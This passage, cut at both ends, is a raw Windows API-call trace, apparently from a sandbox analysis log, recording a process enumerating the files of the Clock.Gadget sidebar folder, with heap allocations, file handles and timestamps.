hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x5c4e, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.js", cAlternateFileName="")) returned 1 [0080.499] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0080.499] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0080.499] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0080.499] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0080.499] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0080.499] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f4e70 [0080.500] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1240be8 [0080.500] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0080.500] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x258c, dwReserved0=0x0, dwReserved1=0x0, cFileName="timeZones.js", cAlternateFileName="")) returned 1 [0080.500] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0080.500] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0080.500] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0080.500] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0080.500] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0080.501] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f4e90 [0080.501] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1240cf0 [0080.501] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0080.501] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x258c, dwReserved0=0x0, dwReserved1=0x0, cFileName="timeZones.js", cAlternateFileName="")) returned 0 [0080.502] GetLastError () returned 0x12 [0080.502] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\js\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9000 [0080.502] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0080.502] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22eb1137, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.502] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x467a, dwReserved0=0x0, dwReserved1=0x0, cFileName="clock.js", cAlternateFileName="")) returned 1 [0080.502] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x5c4e, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.js", cAlternateFileName="")) returned 1 [0080.502] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x258c, dwReserved0=0x0, dwReserved1=0x0, cFileName="timeZones.js", cAlternateFileName="")) returned 1 [0080.502] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x258c, dwReserved0=0x0, dwReserved1=0x0, cFileName="timeZones.js", cAlternateFileName="")) returned 0 [0080.502] GetLastError () returned 0x12 [0080.502] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12407c8) returned 1 [0080.502] FindClose (in: hFindFile=0x2e9000 | out: hFindFile=0x2e9000) returned 1 [0080.502] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12406c0) returned 1 [0080.502] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12405b8) returned 1 [0080.502] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2814, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.html", cAlternateFileName="")) returned 1 [0080.502] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2814, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.html", cAlternateFileName="")) returned 0 [0080.502] GetLastError () returned 0x12 [0080.503] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25520) returned 1 [0080.503] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0080.503] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d6868) returned 1 [0080.503] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.503] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x285ac06b, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0x285ac06b, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0x285ac06b, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x2e0c, dwReserved0=0x0, dwReserved1=0x0, cFileName="icon.png", cAlternateFileName="")) returned 1 [0080.503] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x805c807b, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x805c807b, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1 [0080.503] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.503] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x805c807b, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x805c807b, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0080.503] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0080.504] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0080.504] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x11fe6e0 [0080.504] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11fe6e0, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x11fe6e0, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0080.504] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe6e0) returned 1 [0080.504] NtClose (Handle=0x174) returned 0x0 [0080.504] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.504] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.504] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0080.504] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25520 [0080.505] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e8f80 [0080.506] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x805c807b, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x805c807b, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.507] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x285ac06b, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0x285ac06b, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0x285d21c9, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x6530, dwReserved0=0x0, dwReserved1=0x0, cFileName="cronometer.png", cAlternateFileName="")) returned 1 [0080.508] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0080.508] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0080.508] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0080.508] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0080.508] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0080.508] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d6868 [0080.509] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0080.509] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f4eb0 [0080.509] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12405b8 [0080.509] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0080.509] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x828d4d58, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x828d4d58, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x285d21c9, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x132, dwReserved0=0x0, dwReserved1=0x0, cFileName="cronometer_dot.png", cAlternateFileName="")) returned 1 [0080.509] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0080.509] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0080.509] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0080.510] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0080.510] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0080.510] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f4ed0 [0080.510] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12406c0 [0080.510] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x5ec0) returned 0x124a7c8 [0080.510] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12292f0) returned 1 [0080.510] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0080.510] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82888a9e, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82888a9e, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x285d21c9, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x17d, dwReserved0=0x0, dwReserved1=0x0, cFileName="cronometer_h.png", cAlternateFileName="")) returned 1 [0080.510] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0080.511] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0080.511] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0080.511] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0080.511] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0080.511] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f4ef0 [0080.511] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12407c8 [0080.512] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0080.512] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x828aebfb, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x828aebfb, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x285f8327, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="cronometer_m.png", cAlternateFileName="")) returned 1 [0080.512] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0080.512] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0080.512] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0080.512] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0080.512] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0080.512] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f4f10 [0080.512] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1240df8 [0080.513] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0080.513] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x828d4d58, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x828d4d58, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x285f8327, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xc63, dwReserved0=0x0, dwReserved1=0x0, cFileName="cronometer_s.png", cAlternateFileName="")) returned 1 [0080.513] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0080.513] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0080.513] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0080.513] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0080.513] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0080.513] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f4f30 [0080.514] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1240f00 [0080.514] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0080.514] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x828d4d58, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x828d4d58, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2861e485, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x7454, dwReserved0=0x0, dwReserved1=0x0, cFileName="cronometer_settings.png", cAlternateFileName="")) returned 1 [0080.514] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0080.514] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0080.514] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0080.514] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0080.514] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0080.515] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f4f50 [0080.515] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1241008 [0080.515] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0080.515] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x828faeb5, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x828faeb5, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2861e485, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x77b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="diner.png", cAlternateFileName="")) returned 1 [0080.515] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0080.515] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0080.515] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0080.516] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0080.516] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0080.516] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f4f70 [0080.516] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1241110 [0080.516] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0080.516] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8294716f, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8294716f, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2861e485, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xb80, dwReserved0=0x0, dwReserved1=0x0, cFileName="diner_dot.png", cAlternateFileName="")) returned 1 [0080.516] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0080.516] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0080.516] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0080.517] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0080.517] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0080.517] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f4f90 [0080.517] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1241218 [0080.517] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0080.517] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x828faeb5, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x828faeb5, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2861e485, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x170, dwReserved0=0x0, dwReserved1=0x0, cFileName="diner_h.png", cAlternateFileName="")) returned 1 [0080.517] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0080.518] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0080.518] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0080.518] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0080.518] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0080.518] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f4fb0 [0080.518] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1241320 [0080.518] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0080.518] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82921012, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82921012, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x286445e3, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x192, dwReserved0=0x0, dwReserved1=0x0, cFileName="diner_m.png", cAlternateFileName="")) returned 1 [0080.518] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0080.519] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0080.519] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0080.519] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0080.519] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0080.519] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f4fd0 [0080.519] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1241428 [0080.519] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0080.520] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82921012, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82921012, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x286445e3, 